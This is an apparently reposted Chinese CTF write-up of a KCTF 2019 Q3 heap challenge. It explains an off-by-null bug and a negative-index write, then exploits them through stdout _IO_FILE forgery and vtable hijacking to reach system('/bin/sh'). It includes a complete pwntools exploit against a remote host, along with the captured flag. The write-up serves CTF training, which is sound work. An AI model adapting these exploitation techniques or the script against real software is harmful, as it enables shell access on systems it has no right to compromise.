送给最好的TA app分析
2019-10-08 14:58:27 Author: bbs.pediy.com(查看原文) 阅读量:145 收藏

人可以忍受屈辱到什么时候?必将百倍奉还!
对于一个余孽来说,生存太过艰难。韩信不想死。他想继续活下去。所以他并不是忍受,而是选择。他选择的也不是屈辱,而是生存。
因此,当年轻的霸者举起长刀羞辱自己,他选择了从对方的胯下钻过去。当未婚妻被带走成为祭品,他选择了沉默。当更强大的权力者出现,他选择了屈从,自己为自己套上牵狗的锁链。
还没有成为大陆有名的强者和谋者之前,他就已经开始谋划一场风暴,一场刮过大陆,能在历史上永久留下自己名字的风暴。
不信天,不信命。唯一能相信的,只有自己。他在等待能够一击必杀的出手时机。

题目简介

本题共有1434人围观,最终只有30支团队攻破成功。其中Lanc3t战队一马当先,在开赛当天就以4336秒的速度破解此题,在此题中获得最高积分。为了生存,为了成为整个赛场上的强者,战队们将勇气化作前行的利器,用谋略夺取胜利的果实。

攻破此题的战队排名一览:


不知道你有没有破解开这道题?接下来我们一起来看一下这道题的点评和详细解析吧。

看雪评委crownless点评

查看保护机制可以看到二进制文件保护机制全开,功能为内存增加、删除、编辑,利用的漏洞是offby null溢出漏洞、_IO_FILE攻击和虚表劫持。

出题团队简介

本题出题战队 卑微菜鸡队 :

卑微菜鸡队团队成员只有黄瓜香蕉一个人,但依然出了难度很高的题,下面是相关简介:

个人学习两年半的个人安全研究者,擅长pwn,希望和各位大佬多多交流。


设计思路

查看保护机制可以看到保护机制全开。
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
这是一个菜单题可以看到程序只有三个功能,add,delete,edit。
在edit的时候可以看到只要输入的大小和写入的大小一样就存在off-by-null。
这样就可以泄露libc地址,这里需要爆破一会。
由于程序hook了 malloc_hook和free_hook所以并不能用。
由于程序输出了堆的地址,这里使用fsop进行攻击。
首先伪造vtable和_IO_FILE_plus。
然后使用fastbin_attack修改_IO_list_all为伪造堆的地址。然后退出,会执行system("sh");
环境部署,进入当前目录下执行docker run -d -p 9999:9999 iofile .

解题思路

本题解题思路由看雪论坛KevinsBobo提供:

题目分析

1、保护全开。

2、功能为内存增加、删除、编辑。
3、没有打印内存的函数,但是增加会主动打印malloc的地址。
4、创建的内存块最大1023字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况。
5、编辑操作中存在一个字节0的溢出,属于off by null溢出漏洞。
6、main函数中的第一个函数是hook并保存__malloc_hook和__free_hook,在调用是恢复。在这里发现__malloc_hook和__free_hook是存在于主模块中的,但是由于随机基址无法泄露,所以可以算作作者提示无法使用修改__free_hook的方式劫持流程。
7、保存堆数据的全局数据区。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)

{

int v3; // eax

f_set_hook_E4C(); // 保存__malloc_hook和__free_hook

puts("Welcome kctf 2019,you pwn like hsy!");

while ( 1 )

{

while ( 1 )

{

f_menu_DDD(); // 打印选项

v3 = f_get_char_num_C81();

if ( v3 != 2 )

break;

f_delete_FC0(); // 删除

}

if ( v3 > 2 )

{

if ( v3 == 3 )

{

f_edit_1084(); // 编辑

}

else

{

if ( v3 == 4 )

exit(0);

LABEL_13:

puts("Invalid choice");

}

}

else

{

if ( v3 != 1 )

goto LABEL_13;

f_add_EC3(); // 增加

}

}

}

// 编辑函数

unsigned __int64 f_edit_1084()

{

int v1; // [rsp+4h] [rbp-Ch]

unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);

printf("Input idx : ");

v1 = f_get_char_num_C81();

if ( !LODWORD(g_heap_arr_202080[2 * v1]) )

exit(1);

printf("Input text : ");

sub_D22((char *)g_heap_arr_202080[2 * v1 + 1], g_heap_arr_202080[2 * v1]);

return __readfsqword(0x28u) ^ v2;

}

char *__fastcall sub_D22(char *a1, int a2)

{

char *result; // rax

int i; // [rsp+1Ch] [rbp-14h]

char s[8]; // [rsp+20h] [rbp-10h]

unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);

memset(s, 0, 8uLL);

for ( i = 0; i < a2; ++i )

{

if ( read(0, s, 1uLL) <= 0 )

exit(1);

if ( s[0] == 0xA )

break;

a1[i] = s[0];

}

result = (char *)(unsigned int)i;

if ( i == a2 )

{

result = &a1[i];

*result = 0; // off by null 溢出漏洞

}

return result;

}

利用分析

1、off by null溢出漏洞可以修改下一个堆头中数据中的前一个块是否使用,从而可以制造假的堆块来触发Unlink操作创建一个unsorted bin。
2、因为在最初创建的时候打印了对地址,因此可以知道创建的unsorted bin的地址,而unsorted bin堆块数据中会保存main_arena(libc中的一个地址,由此可以算出libc的基址)。
3、有了信息,现在要泄露出来,因为没有打印操作,所以只能把目光集中在编辑是没有检查负数的情况。

4、观察上图,按照8字节大小、8字节地址的方式,编辑时向前溢出-6个,刚好可以修改stdout指向的内存,也就是_IO_FILE攻击了,控制stdout指向一个_IO_FILE结构的数据,修改其中指针,便可达到任意内存泄露的目的。
5、_IO_FILE结构体中保存了一张虚表,puts函数会调用这张虚表中的函数,并且会把stdout的指针作为参数传给虚函数;恰好程序很多处都调用puts函数,于是可以把虚表内容劫持到system函数,把stdout指向的数据前面写上\bin\sh。

// 在pwndbg中查看_IO_FILE结构体信息

pwndbg> p *(struct _IO_FILE_plus *) stdout

$1 = {

file = {

_flags = 0xfbad2887,

_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",

_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",

_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",

_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",

_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",

_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",

_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",

_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",

_IO_save_base = 0x0,

_IO_backup_base = 0x0,

_IO_save_end = 0x0,

_markers = 0x0,

_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,

_fileno = 0x1,

_flags2 = 0x0,

_old_offset = 0xffffffffffffffff,

_cur_column = 0x0,

_vtable_offset = 0x0,

_shortbuf = "",

_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,

_offset = 0xffffffffffffffff,

_codecvt = 0x0,

_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,

_freeres_list = 0x0,

_freeres_buf = 0x0,

__pad5 = 0x0,

_mode = 0xffffffff,

_unused2 = '\000' <repeats 19 times>

},

vtable = 0x7ffff7dd06e0<_IO_file_jumps>

}

一些细节


1、利用stdout构造任意读的条件:

设置_flag &~ _IO_NO_WRITES即_flag &~ 0x8

设置_flag & _IO_CURRENTLY_PUTTING即_flag | 0x800

设置_fileno为1

设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址

设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING即_flag | 0x1000

设置_IO_write_end等于_IO_write_ptr(非必须)


2、劫持虚表需要注意puts函数中对_IO_FILE标志位和其中地址指向的内存数据判断。

/bin/sh的内存数据恰好能通过对flag数据的验证

_lock指向的内存,前8字节必须为0,不然无法通过puts+83: cmpxchg [rdx], esi这句的验证,导致进入死锁状态


3、更多细节在POC中有注释

该POC实际使用中发现,利用stdout实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了。

#!/usr/bin/env python

# coding: utf-8

from pwn import *

import os

# flag{4ca9ae5d7c835994cc62d34f92ef95ce}

#init

context.log_level = 'debug'

local=False

if local:

env={"LD_PRELOAD":os.path.join(os.getcwd(),"/libc-2.23.so")}

p = process("./pwn", env=env)

else:

p = remote("154.8.174.214", 10001)

raw_input("Pause~\n")

offset_system = 0x0000000000045390

offset_IO_list_all = 0x00000000003C5520

#offset___libc_start_main_ret = 0x20830

#offset_dup2 = 0x00000000000f7970

#offset_read = 0x00000000000f7250

#offset_write = 0x00000000000f72b0

#offset_str_bin_sh = 0x18cd57

base_addr = 0

heap_addr = {}

def new_heap(len):

p.recvuntil(">>")

p.sendline("1")

p.recvuntil("Input size : ")

p.sendline(str(len))

print 'create new heap:' , len

p.recvuntil("heap ")

num_str = p.recvuntil(" ", drop = True)

print num_str

p.recvuntil("0x")

heap = p.recvuntil("\n", drop = True)

print heap

heap_addr[int(num_str)] = int(heap, 16)

def set_heap(idx,cont):

p.sendline("3")

p.recvuntil("Input idx : ")

p.sendline(str(idx))

p.recvuntil("Input text : ")

p.send(cont)

print 'set text ' , idx,',cont = ',cont

def del_heap(idx):

print 'del_heap ' , idx

p.recvuntil(">>")

p.sendline("2")

p.recvuntil("Input idx : ")

p.sendline(str(idx))

new_heap(0xf8) # 0: buf

new_heap(0xf8) # 1: unlink target

new_heap(0xf8) # 2: free target

new_heap(0xf8) # 3: avoid consolidate with top chunk

new_heap(0xf8) # 4: vtable

print("Get All Addr:")

print(heap_addr)

# 前8位设成0,为了过这一句 puts+83: cmpxchg [rdx], esi

payload = p64(0) + p64(0xf1) + p64(heap_addr[1]) + p64(heap_addr[1]) + '\x0a'

set_heap(0, payload)

# 制造 unsorted bin

payload = p64(0x110) + p64(0xf1) + p64(heap_addr[0]) + p64(heap_addr[0]) + 'a' * 0xd0 + p64(0xf0)

set_heap(1, payload)

del_heap(2)

# 泄露地址

payload = p64(0xfbad8800)

payload += p64(heap_addr[0]+8) # _IO_read_ptr

payload += p64(heap_addr[1]+0x10) # _IO_read_end

payload += p64(heap_addr[0]+8) # _IO_read_base

payload += p64(heap_addr[1]+0x10) # _IO_write_base

payload += p64(heap_addr[1]+0x10+8) # _IO_write_ptr

payload += p64(heap_addr[1]+0x10+8) # _IO_write_end

payload += p64(heap_addr[0]+8) # _IO_buf_base = 0x602060 " `",

payload += p64(heap_addr[0]+8+1) # _IO_buf_end = 0x602061 " `",

set_heap(-6, payload)

p.sendline('q')

main_arena = u64(p.recv(8))-88

libc_base = main_arena-0x3c4b20

libc_system = libc_base+offset_system

IO_list_all = libc_base+offset_IO_list_all

print('main_arena: 0x%08x\nlibc_base: 0x%08x\nlibc_system: 0x%08x\nIO_list_all: 0x%08x' %

(main_arena, libc_base, libc_system, IO_list_all))

raw_input("Pause~\n")

# 修改回正常状态

payload = p64(0xfbad2887)

payload += p64(heap_addr[0]+8) # _IO_read_ptr

payload += p64(heap_addr[0]+8) # _IO_read_end

payload += p64(heap_addr[0]+8) # _IO_read_base

payload += p64(heap_addr[0]+8) # _IO_write_base

payload += p64(heap_addr[0]+8) # _IO_write_ptr

payload += p64(heap_addr[0]+8) # _IO_write_end

payload += p64(heap_addr[0]+8) # _IO_buf_base = 0x602060 " `",

payload += p64(heap_addr[0]+8+1) # _IO_buf_end = 0x602061 " `",

set_heap(-6, payload)

p.sendline('q')

# p.interactive()

# 制作假的 vtable

payload = p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + '\x0a'

# 获取成功后就没有输出了,所以要手动输出

set_heap(4, payload)

#p.sendline("3")

#p.sendline(str(4))

#p.send(payload)

# 控制 vtable 指针 # file = {

payload = '/bin/sh\x00'                # _flags = 0xfbad8000,

payload += p64(heap_addr[0]+8) # _IO_read_ptr = 0x602060 " `",

payload += p64(heap_addr[1]+0x10) # _IO_read_end = 0x602060 " `",

payload += p64(heap_addr[0]+8) # _IO_read_base = 0x602060 " `",

payload += p64(heap_addr[1]) # _IO_write_base = 0x602060 " `",

payload += p64(heap_addr[1]+0x10) # _IO_write_ptr = 0x602060 " `",

payload += p64(heap_addr[1]+0x10+8) # _IO_write_end = 0x602060 " `",

payload += p64(heap_addr[1]+0x10) # _IO_buf_base = 0x602060 " `",

payload += p64(heap_addr[1]+0x10+8) # _IO_buf_end = 0x602061 " `",

payload += p64(0) # _IO_save_base = 0x0,

payload += p64(0) # _IO_backup_base = 0x0,

payload += p64(0) # _IO_save_end = 0x0,

payload += p64(0) # _markers = 0x0,

payload += p64(heap_addr[0]) # _chain = 0x602060,

payload += p64(1) # _fileno = 0x1,

# _flags2 = 0x0,

payload += p64(0xffffffffffffffff) # _old_offset = 0xffffffffffffffff,

payload += p64(0) # _cur_column = 0x0,

# _vtable_offset = 0x0,

# _shortbuf = "",

payload += p64(heap_addr[0]) # _lock = 0x602060,

payload += p64(0xffffffffffffffff) # _offset = 0xffffffffffffffff,

payload += p64(0) # _codecvt = 0x0,

payload += p64(heap_addr[0]) # _wide_data = 0x602060,

payload += p64(0) # _freeres_list = 0x0,

payload += p64(0) # _freeres_buf = 0x0,

payload += p64(0) # __pad5 = 0x0,

payload += p64(0x0000000000000000) # _mode = 0xffffffff,

# _unused2 = '\000' <repeats 19 times>

payload += p64(0) # },

payload += p64(0) #

payload += p64(heap_addr[4]) # vtable = 0x6021c8

set_heap(-6, payload)

#p.sendline("3")

#p.sendline(str(-6))

#p.send(payload)

raw_input("Success, press Enter~\n")

p.interactive()

p.close()

参考链接(可点击阅读原文查看详情):
Unlink学习笔记(off-by-one null byte漏洞利用)IO FILE 之任意读写浅析IO_FILE结构及利用

- End -

往期赛题

* 看雪.纽盾 KCTF 2019 Q3 | 第一题点评及解题思路

* 看雪.纽盾 KCTF 2019 Q3 | 第二题点评及解题思路

* 看雪.纽盾 KCTF 2019 Q3 | 第三题点评及解题思路

合作伙伴

上海纽盾科技股份有限公司(www.newdon.net)成立于2009年,是一家以“网络安全”为主轴,以“科技源自生活,纽盾服务社会”为核心经营理念,以网络安全产品的研发、生产、销售、售后服务与相关安全服务为一体的专业安全公司,致力于为数字化时代背景下的用户提供安全产品、安全服务以及等级保护等安全解决方案。


公众号ID:ikanxue

官方微博:看雪安全

商务合作:[email protected]


文章来源: https://bbs.pediy.com/thread-254796.htm
如有侵权请联系:admin#unsafe.sh